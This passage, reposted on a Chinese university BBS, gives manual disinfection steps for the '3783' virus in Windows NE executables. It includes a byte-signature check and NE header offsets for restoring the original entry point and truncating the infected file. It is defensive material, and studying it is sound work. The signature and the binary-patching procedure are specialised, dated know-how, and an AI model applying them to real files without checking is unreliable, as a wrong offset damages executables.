偏移量="NE"报头偏移量+["NE"报头22H]+(["NE"报头16H]-1)*8
⑷ 读出 8 字节入口段的段地址表记录
⑸ 如果本记录后 6 字节为 7D 0E 80 01 7D 0E 表示有 3783 病毒
⑹ 病毒起始位置(即原文件长)=[段地址表记录00H]*( 1 SHL ["NE"报头
32H] )
⑺ 恢复原入口段地址表记录号:病毒中第 0E83H => "NE"报头16H
恢复原入口 IP:病毒中第 0E85H => "NE"报头14H
恢复原段地址表记录数:"NE"报头 1CH 减 1
⑻ 将恢复的 "NE" 报头写回,将文件从病毒开始处截断
到此消毒已经完成。在消毒中省略了将 "NE"可执行报头及段地址表后移 8 字节的
步骤,这并不影响文件的执行,如果一定要将文件完全复原,还要加上以下部分:
⑼ 将 "NE"报头 04H、24H、26H、28H、2AH 处的字及文件头 3CH 处的双字
减 8
⑽ 将 "NE"报头开始到段地址表结束为止的数据后移 8 字节
将文件头 3CH 处的新数据写回
文章出处:第八军团
文章作者:JunTuan
--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.127]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店